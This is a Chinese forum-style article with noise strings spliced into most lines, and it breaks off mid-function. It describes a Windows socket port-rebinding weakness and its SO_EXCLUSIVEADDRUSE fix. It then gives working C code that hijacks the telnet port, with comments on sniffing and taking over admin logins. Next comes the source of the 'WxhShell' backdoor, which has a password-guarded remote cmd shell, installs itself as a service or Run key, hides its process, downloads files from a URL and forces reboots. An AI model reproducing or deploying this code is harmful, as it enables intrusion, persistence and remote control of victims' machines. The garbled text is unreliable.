在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X-#mv|3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
YO$b# sDm},=X} saddr.sin_family = AF_INET;
o%PoSZZ Z4ov saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}#*zjMOz $Wzv$4; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[KI`e I%>]!X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?{,)XFck 14 'x-w^~k 这意味着什么?意味着可以进行如下的攻击:
up3<=u{>
*/dh_P<Yj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"Vp:z V<S [e@OHQM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P8 ,jA<W u6I0<i_KZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:YXQ9/iRr Qfu*F} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;To+,`?E;q '3UIriY6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j_uY8c>3\q *2
$m>N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#'Y6UGJ\n LY!3u0PnlT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zGd*Q5l ,
gr&s+ #include
GVc[p\h( #include
/\uH[[s #include
.Xz"NyW #include
#u5;utY:F DWORD WINAPI ClientThread(LPVOID lpParam);
S%s|P=u int main()
"jJdUFN {
9hLmrYNM1 WORD wVersionRequested;
RyQ\5^z DWORD ret;
gc:p@< WSADATA wsaData;
Y1_6\zpA BOOL val;
lPQ
Ut!xI SOCKADDR_IN saddr;
\]#;!6ge SOCKADDR_IN scaddr;
ySK Yqt z int err;
p F*~)e SOCKET s;
OjlB0 SOCKET sc;
+fCyR int caddsize;
k&_u\D"^"% HANDLE mt;
!QW 0 DWORD tid;
GlgORy=> wVersionRequested = MAKEWORD( 2, 2 );
+JAfHQm- err = WSAStartup( wVersionRequested, &wsaData );
VBsFT2XiL if ( err != 0 ) {
iLd"tn' printf("error!WSAStartup failed!\n");
f+aS2k(e> return -1;
Ta\8>\6 }
HD8"=7zJk saddr.sin_family = AF_INET;
grfdvN KYmWfM3^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M|E2&ht 19w,'}CGk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&B7+>Ix, saddr.sin_port = htons(23);
?)o4 Kt'h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t k/K0u {
>;&V~q:di printf("error!socket failed!\n");
Y=Ar3O*F return -1;
nh&J3b}B! }
-k[tFBlw val = TRUE;
e5>5/l]jsg //SO_REUSEADDR选项就是可以实现端口重绑定的
v6DxxE2n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)"c]FI[} {
L1!hF3G printf("error!setsockopt failed!\n");
a.`JS return -1;
GKsL~;8" }
)bCG]OM7< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Rw
ao5l=x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zTBi{KrZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
am'p^Z@ `\4JwiPo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Wh'_slDH+ {
;GgQ@s@ ret=GetLastError();
2*FWIHyf printf("error!bind failed!\n");
D.&eM4MZ return -1;
~SR(K{nf#. }
K0DXOVT\ listen(s,2);
E%2!C/+B while(1)
>]XaUQ- {
71<PEawL caddsize = sizeof(scaddr);
cH* /zNp //接受连接请求
N4` 9TN7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&(uF&-PwO4 if(sc!=INVALID_SOCKET)
o )nT {
wp]7Lx?F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D_19sN@0m if(mt==NULL)
N} x/&e {
kG;eOp16R printf("Thread Creat Failed!\n");
^2;(2s break;
pW3)Y5/D }
@a.6?.<L }
3e!Yu.q: CloseHandle(mt);
&DbGyV8d"| }
0q>NE<L closesocket(s);
$kD`$L@U WSACleanup();
4z0R\tjT return 0;
w1"gl0ga$ }
ahi57r[ DWORD WINAPI ClientThread(LPVOID lpParam)
RqN_vk\ {
X@h^T>[" SOCKET ss = (SOCKET)lpParam;
QC\g%MVG SOCKET sc;
v1"g!%U6 unsigned char buf[4096];
x,w`OMQ}c SOCKADDR_IN saddr;
{Z?$Co^R long num;
gSv[4,hXd DWORD val;
FG;<`4mY DWORD ret;
j_6` s!Yw //如果是隐藏端口应用的话,可以在此处加一些判断
ZXsY-5$#d- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T)Zt'M saddr.sin_family = AF_INET;
-|k&L}\OB0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S4{ Mu(^xT saddr.sin_port = htons(23);
%];h|[ax] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z7@(uIl=X {
Ah" 'hFY printf("error!socket failed!\n");
4*D fI return -1;
Kixr6\ }
N&x WHFn]C val = 100;
DQ n`@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)ZgER[ {
V$-~%7@>;9 ret = GetLastError();
}W__ffH return -1;
I", &%0ycm }
z*dQIC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9Ew:.&d {
q2S!m6 ! ret = GetLastError();
ax72e hL} return -1;
;Txv-lfS }
y} $P, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{XDY:`vZ} {
)DGz`-> printf("error!socket connect failed!\n");
H4}%;m% closesocket(sc);
!y
qa?\v9 closesocket(ss);
V>FT~k_" return -1;
w PG1P'w; }
Xx3g3P while(1)
c|\ZRBdI {
o[bE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9lZAa8Rx i //如果是嗅探内容的话,可以再此处进行内容分析和记录
<fC@KY># //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
d}{LM!s num = recv(ss,buf,4096,0);
FGDGWcRw~ if(num>0)
i}/e}s<-6 send(sc,buf,num,0);
`1E|PQbWc else if(num==0)
%Ycx C0S[ break;
V>b2b5QAH, num = recv(sc,buf,4096,0);
T~i%j@Q.6 if(num>0)
]>R`;"( send(ss,buf,num,0);
e2]4a3 else if(num==0)
PGPISrf break;
>lD;0EN }
ID67?:%r closesocket(ss);
Jv_.itc closesocket(sc);
jOUK]>ox: return 0 ;
]{f^;y8 }
&8[ZN$Xe" ?S (im o"rq/\ovv ==========================================================
?M *7@t@ V]I:2k5 下边附上一个代码,,WXhSHELL
"z
rA`` "+=Pp ==========================================================
vU=9ydAj? j$3rJA%rN #include "stdafx.h"
2\^G['9 )v[XmJ>H~o #include <stdio.h>
T vrk^! #include <string.h>
ShQ|{P9 #include <windows.h>
&&[zT/]P #include <winsock2.h>
xK(IS:HJ* #include <winsvc.h>
sX+`wc #include <urlmon.h>
6iG(C.b YEzU{J #pragma comment (lib, "Ws2_32.lib")
\+-zRR0 #pragma comment (lib, "urlmon.lib")
f|OI` 8wr8:(Y$ #define MAX_USER 100 // 最大客户端连接数
"`pNH' #define BUF_SOCK 200 // sock buffer
Vy__b=ti? #define KEY_BUFF 255 // 输入 buffer
l , ..5 GL1'Zo #define REBOOT 0 // 重启
<OTWT`G2 #define SHUTDOWN 1 // 关机
R (G2qi }g~g50ci #define DEF_PORT 5000 // 监听端口
|6aJwe+*
lsk_P&M #define REG_LEN 16 // 注册表键长度
Fh K&@@_ #define SVC_LEN 80 // NT服务名长度
/
s,tY74'5 $.pTB(tO // 从dll定义API
aX;A==> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
tJNIr5o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`OqM8U
@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nZfs=@w:y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;B~P>n}}_] `H\)e%] // wxhshell配置信息
l<(cd, struct WSCFG {
N2BI_,hI1 int ws_port; // 监听端口
#02Kdo&Vy char ws_passstr[REG_LEN]; // 口令
`\bT'~P int ws_autoins; // 安装标记, 1=yes 0=no
ks*Y9D*= char ws_regname[REG_LEN]; // 注册表键名
~:4~2d| char ws_svcname[REG_LEN]; // 服务名
{^#2=`:)O char ws_svcdisp[SVC_LEN]; // 服务显示名
!^e =P%S char ws_svcdesc[SVC_LEN]; // 服务描述信息
U&UKUACn" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"xe=N int ws_downexe; // 下载执行标记, 1=yes 0=no
(luKn&826 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}g|nz8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ha%F"V* oKA& An };
sYqgXE. hN3u@P^ // default Wxhshell configuration
\ECu5L4 struct WSCFG wscfg={DEF_PORT,
=>|C~@C? "xuhuanlingzhe",
& ze>X 1,
z
x@$RS+] "Wxhshell",
`S3>3 "Wxhshell",
e4`uVq5 "WxhShell Service",
i%-Ld
Ka}" "Wrsky Windows CmdShell Service",
(gwj)?: "Please Input Your Password: ",
:=Kx/E:1 1,
e$e#NoN "
http://www.wrsky.com/wxhshell.exe",
,lt8O.h-l "Wxhshell.exe"
maNW{"1 };
t
P"\J(x &H||&Z[pk // 消息定义模块
@?kM'*mrZM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,+`HQdq char *msg_ws_prompt="\n\r? for help\n\r#>";
2&Jdf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3QXjD/h char *msg_ws_ext="\n\rExit.";
Wht(O~F char *msg_ws_end="\n\rQuit.";
9zBMlc$X char *msg_ws_boot="\n\rReboot...";
1u|V`J)0 char *msg_ws_poff="\n\rShutdown...";
~+G#n"P n char *msg_ws_down="\n\rSave to ";
a|4~NL id^sr
Mw char *msg_ws_err="\n\rErr!";
vUA0FoOp char *msg_ws_ok="\n\rOK!";
.]x2K-Sf #]]Su91BA char ExeFile[MAX_PATH];
i3VW1~ .8 int nUser = 0;
"*z_O HANDLE handles[MAX_USER];
ememce,Np int OsIsNt;
3;[DJ5 F {+`uG SERVICE_STATUS serviceStatus;
Ge+0-I6Ju SERVICE_STATUS_HANDLE hServiceStatusHandle;
1f'Hif*r_X ziE*'p // 函数声明
#A7jyg": int Install(void);
}8-\A7T int Uninstall(void);
3+Qxg+< int DownloadFile(char *sURL, SOCKET wsh);
(1R?s>3o int Boot(int flag);
%dST6$Z void HideProc(void);
?, r~= int GetOsVer(void);
:}:3i9e*2 int Wxhshell(SOCKET wsl);
P>ceeoYQuA void TalkWithClient(void *cs);
AK!hK>u` int CmdShell(SOCKET sock);
MPgS!V1 int StartFromService(void);
wC_l@7t int StartWxhshell(LPSTR lpCmdLine);
DQ#H,\^< +!IQj0&'Y3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i':i_kU VOID WINAPI NTServiceHandler( DWORD fdwControl );
/iC;%r1L {6 6sB{P // 数据结构和表定义
:~Q!SL N SERVICE_TABLE_ENTRY DispatchTable[] =
h%; e0Xz| {
WEg6Kz {wscfg.ws_svcname, NTServiceMain},
/ $ :j {NULL, NULL}
=J-5.0Q\_\ };
s=6}%%q6 kd`0E-QU // 自我安装
[H<bh% int Install(void)
7;@ST`cC {
M->*{D@a char svExeFile[MAX_PATH];
'^BV_ QQ HKEY key;
xkNyvqcw strcpy(svExeFile,ExeFile);
\0l>q , <ljI;xE // 如果是win9x系统,修改注册表设为自启动
p(;U@3G if(!OsIsNt) {
*[ #;j$m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?"#%SKm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tM-^<V& RegCloseKey(key);
7(M(7}EKA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7]xm2CHx5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X"gCRn%tn RegCloseKey(key);
hz;|NW{u return 0;
8dD2 }
;*ix~taL% }
b*a2,MiM }
2sNK else {
dkgSvi :! Xs&TJ8a // 如果是NT以上系统,安装为系统服务
S po?i.# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F' U 50usV if (schSCManager!=0)
}i{sg# {
Q9}dHIe1E SC_HANDLE schService = CreateService
?
J}r (
-<jL~][S schSCManager,
g(VNy@ wscfg.ws_svcname,
(,^*So/ wscfg.ws_svcdisp,
6sIL.S~c) SERVICE_ALL_ACCESS,
oH0X<' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qq)0yyL r SERVICE_AUTO_START,
DeR='7n SERVICE_ERROR_NORMAL,
xq6cKtSv svExeFile,
hA\K</h. NULL,
-a*K$rnB NULL,
t8^m`W NULL,
{G <kA(Lm NULL,
i)#:qAtP* NULL
%WqNiF0- );
UAR5^ if (schService!=0)
2G$SpfeIu {
< >UPD02 CloseServiceHandle(schService);
8/)qTUx: CloseServiceHandle(schSCManager);
r{L4]|(utY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
zlR?,h-[3 strcat(svExeFile,wscfg.ws_svcname);
"V{yi!D{< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
JS}{ %(B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v]__%_ RegCloseKey(key);
>~`C-K# return 0;
0$7.g!h? }
GGhM;%H_99 }
XeBP`\>Ve CloseServiceHandle(schSCManager);
fgihy }
uKgZ$-' }
uEc<}pV ]|<w\\^A return 1;
JG{j)O|L }
Xf)|Pu [ sd;`xk // 自我卸载
q80S[au int Uninstall(void)
jA#/Z {
9&RFO$WH HKEY key;
hHqh{:q{v k6=nO?$ if(!OsIsNt) {
~b{Gz6u> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<F11m( RegDeleteValue(key,wscfg.ws_regname);
E^U0f/5
m RegCloseKey(key);
?5kHa_^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S*AERm RegDeleteValue(key,wscfg.ws_regname);
r!
Ay:r RegCloseKey(key);
j5@:a return 0;
A.UUW }
#07g d#j4 }
Gycm,Cy }
DWdW, xG else {
_G1gtu] |lv|!]qAma SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)}9rwZ if (schSCManager!=0)
')GSAY7 {
{mB0rKVm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ePIiF_X if (schService!=0)
.xBu-?6s6 {
,^icPQSwc if(DeleteService(schService)!=0) {
86
W0rS[5 CloseServiceHandle(schService);
V`@>MOw^d CloseServiceHandle(schSCManager);
H(Eh c return 0;
F[ewn/]n }
Ytgj|@jsp CloseServiceHandle(schService);
Y2'cs~~$Ce }
}B~If}7 CloseServiceHandle(schSCManager);
ExRe:^yU\ }
1yqJwy;X }
sUPz/Z.h =_0UD{"_0 return 1;
mS0udHod }
Pb*5eXk }<'5 z
qS // 从指定url下载文件
Mfv1Os:ST int DownloadFile(char *sURL, SOCKET wsh)
%\i9p]= {
U!Ek' HRESULT hr;
>3&O::]3 char seps[]= "/";
1!>Jpi0 char *token;
|g*XK6 char *file;
T9s2bC.z55 char myURL[MAX_PATH];
.H,xle char myFILE[MAX_PATH];
ur$l Z0 E\C9|1) strcpy(myURL,sURL);
YM
DMH"3 token=strtok(myURL,seps);
S6[v;{xJ while(token!=NULL)
p0pWzwTG3 {
qpXWi
&g file=token;
~RWktv token=strtok(NULL,seps);
*&f$K1p }
}K3x <vwkjCA` GetCurrentDirectory(MAX_PATH,myFILE);
: >>@rF , strcat(myFILE, "\\");
4Fm90O strcat(myFILE, file);
yBI'djL~> send(wsh,myFILE,strlen(myFILE),0);
5YrBW:_OI send(wsh,"...",3,0);
\G-KplKS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
x.q+uU$^ if(hr==S_OK)
L5,NP5RC return 0;
P+$:(I else
xNbPsoK return 1;
r\/+Oa' %HJK; }
:>=\. \ tToTxf~ // 系统电源模块
=%/)m:f!^ int Boot(int flag)
8]LD]h)B" {
6:~v4W!k HANDLE hToken;
[KxF'm z9 TOKEN_PRIVILEGES tkp;
& \f{E\A# Y0X-Zqk' if(OsIsNt) {
s~Te OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
XcjRO#s\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hodgDrmO/ tkp.PrivilegeCount = 1;
B
$mX3B+a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}I>tO9M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<%"b9T`' if(flag==REBOOT) {
/~<@ *-' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cMOyo<F#^= return 0;
b1($R[ }
GI1 else {
j?+X\PtQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%QP0 return 0;
.qZI$
l. }
j{Q9{}<e }
BSVxN else {
PAM}*' if(flag==REBOOT) {
S@/IQR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eYvWZJa4 return 0;
T]c%!&^_ }
sdo[D else {
#n8IZ3+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
53n^3M,qK return 0;
=aTv! 8</ }
W}mn}gTQ }
\}|o1Xh2 ?o|f': return 1;
lp^<3o*1 }
]%u@TK7 <d$x.in // win9x进程隐藏模块
TtTj28k7 void HideProc(void)
aq@8"b(. {
LF& z B e0ND2oo HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rr02pM0 if ( hKernel != NULL )
,tu.2VQc@ {
`M^=
D&Bf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4J/}]Dr5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
abfW[J FreeLibrary(hKernel);
fO[+LR
'ax }
Evg_q> P 'od` return;
=V-|#j }
2Tp1n8FV ?WqT[MnK // 获取操作系统版本
^<a
t'jk6 int GetOsVer(void)
[QoK5Yw{ {
]\hSI){ OSVERSIONINFO winfo;
os:A] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(jRm[7H GetVersionEx(&winfo);
b((M)Gz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ijK"^4i return 1;
Enn"hdI else
S79;^X return 0;
%,@e^3B }
L>aLqQ3 DN-+osPi // 客户端句柄模块
AicBSqUke int Wxhshell(SOCKET wsl)
_M`--.{\O[ {
v50bdj9}k SOCKET wsh;
<oT^ A|JFj struct sockaddr_in client;
ZQ%'`q\c DWORD myID;
IYS)7`{] "!ug_'VW while(nUser<MAX_USER)
v4`"1Ss,K {
$0>60<J int nSize=sizeof(client);
C.Kh[V\Ut wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^6MU
0Q2 if(wsh==INVALID_SOCKET) return 1;
/_AnP lhAX;s&9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
g(qJN<RC/ if(handles[nUser]==0)
~=6xyc/c closesocket(wsh);
[B#R94 else
Vt %bI0# nUser++;
Q kEvw< }
2Mc3|T4)U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
S1Wj8P- (|:M&Cna] return 0;
-:Da&V }
!;Yg/'vD- r~jm`y // 关闭 socket
&:9cAIe]H void CloseIt(SOCKET wsh)
O`x;,6Vr {
dMf:h"7 closesocket(wsh);
H]{v;;'~ nUser--;
B(LWdap~ ExitThread(0);
*4Thd:7 ` }
0QXVW}`hz 5[k/s}g // 客户端请求句柄
Bu<M\w?7Y void TalkWithClient(void *cs)
R]c+?4J {
tZ:_ag)o QRc{vUR& SOCKET wsh=(SOCKET)cs;
S!jTyY7e char pwd[SVC_LEN];
-LK
B$ char cmd[KEY_BUFF];
&S{RGXj_ char chr[1];
1an^1! int i,j;
'y;EhOwj, BgurzS4- while (nUser < MAX_USER) {
q8X feoUV c]x1HvPE if(wscfg.ws_passstr) {
$UMFNjL
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iV5yJF{ZH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]
bM)t< //ZeroMemory(pwd,KEY_BUFF);
|{BIHgMh i=0;
{C 6=[ while(i<SVC_LEN) {
*W4m3Lq RkH W
// 设置超时
=)M/@T fd_set FdRead;
m'Amli@[ struct timeval TimeOut;
9_q#W'/X FD_ZERO(&FdRead);
;,C)!c& FD_SET(wsh,&FdRead);
nHnK)9\ N TimeOut.tv_sec=8;
.f*4T4eR- TimeOut.tv_usec=0;
[;r)9mh7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p#ol*m5wE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hv`~?n)D66 ;+W#5<i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_7Rr=_1} pwd
=chr[0]; }6p@lla,%]
if(chr[0]==0xd || chr[0]==0xa) { ~+Rc}K
pwd=0; N+m)/x
=:
break; =}lh_
} MuYk};f
i++; NTdixfR
} mPOGidxix
#^`4DhQ/
1
// 如果是非法用户,关闭 socket ^`*9QjY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q-
} q
0$,*[PH
C\S3Gs
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q4R5<LW"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3/aMJR:o
*EOdEFsR/
while(1) { 6DM$g=/'
@XgKYm
ZeroMemory(cmd,KEY_BUFF); WB?jRYp
M}`B{]lLz
// 自动支持客户端 telnet标准 Q;[,Q~c[u
j=0; 'z0:Ccbj
while(j<KEY_BUFF) { w&$`cD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1%EBd%`#
cmd[j]=chr[0]; )jU)_To
if(chr[0]==0xa || chr[0]==0xd) { $LKIT0
cmd[j]=0; a;rdQ>
break; b1^vd@(lx
} JI? rL
j++; EqyeJq .
} ZO!I.
z8jk[5z
// 下载文件 VO,!x~S!
if(strstr(cmd,"http://")) { ZW-yP2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e&simX;W
if(DownloadFile(cmd,wsh)) " W!M[qBW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fgk ajig
else m`IC6*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Fe${2
} IC#>X5
else { 1q~+E\x
JIOh#VNU
switch(cmd[0]) { {FO;Yg'
__`*dL>*
// 帮助 J1/?JfF
case '?': { l/BLUl~z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J cg,#@
break; Tu@8}C
} sC27FVwo
// 安装 /d0K7F
case 'i': { j;%-fvd;
if(Install()) 4,..kSA3iw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IN4=YrM^
else *n;!G8\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>qll6]{@
break; ZZWD8AX
} ]Gpxhg
// 卸载 - d8TD*^
case 'r': { E>&n.%
if(Uninstall()) bnm
P{Ps
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {xwm^p(f
else s<*XNNE7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hD\rtW
break; |w_7_J2
} ;+0t;B!V
// 显示 wxhshell 所在路径 )_1zRT| 9
case 'p': { \x)n>{3C
char svExeFile[MAX_PATH]; c05TsMF&O
strcpy(svExeFile,"\n\r"); )u3 Zm
strcat(svExeFile,ExeFile); W;_nK4$%'
send(wsh,svExeFile,strlen(svExeFile),0); &@%W29:
break; el2bd
:
} RD\
// 重启 M9EfU
case 'b': { 9U{a{~b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fYp'&Btb]x
if(Boot(REBOOT)) ^m?KRm2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @b"t]#V(E
else { VGtC)mG8)
closesocket(wsh); 1v,Us5s<"6
ExitThread(0); }Mo=PWI1?
} r~N"ere26
break; j]*j}%hz
} %{YN70/
// 关机 $SM#< @
case 'd': { K/A*<<r
~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $}lbT15a
if(Boot(SHUTDOWN)) ?dD&p8{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.pU,T/
else { Wm_4avXtO
closesocket(wsh); x\F,SEj
ExitThread(0); kjEEuEv
} bA=
|_Wt
break; 350_CN,
} ) _mr! z(S
// 获取shell /TZOJE(2j
case 's': { At flf2 K
CmdShell(wsh); 8aO~/i:(.
closesocket(wsh); RRmLd/(
ExitThread(0); 7:9.&W/KE
break; H,+I2tEs
} j{Hao\F8
// 退出 Jj,U RD&0R
case 'x': { ~vXaqCX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T32+3wb"I
CloseIt(wsh); W5?yy>S6N
break; Swp;HW7x
} *GxTX3i}vc
// 离开 Mr?Xp(.}G
case 'q': { WA]c=4S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "`M?R;DH
closesocket(wsh); 'rMN=1:iu"
WSACleanup(); xqC+0{]y
exit(1); Sp7ld7c
break; w=j
} !PrwH;
} h.!}3\Y
} ?7M.o
52.>+GC
// 提示信息 $t5V=}m>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #U*_1P0h
} C-8qj>
} y!5$/`AF
n!')wIk
return; $2<d<Um~z
} 'S2bp4G
etd&..]J
// shell模块句柄 ~GuMlV8
int CmdShell(SOCKET sock) 7HVZZ!>~
{ @]qBF]6
STARTUPINFO si; ltkI}h,e
ZeroMemory(&si,sizeof(si)); >XOiu#kC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CiR%Ujf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p-%|P]&
PROCESS_INFORMATION ProcessInfo; xr7+$:>a
char cmdline[]="cmd"; h(qQsxIOhS
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tX!nsm1
return 0; }<z_Q_b+e
} {V1Pp;A
y7S4d~&
// 自身启动模式 Z4){
7|~a
int StartFromService(void) []0mX70N
{ ,*]d~Y
typedef struct sz--27es
{ En&5)c+js4
DWORD ExitStatus; (~$/$%b
DWORD PebBaseAddress; :L_BG)dM
DWORD AffinityMask; *jMk/9oa<N
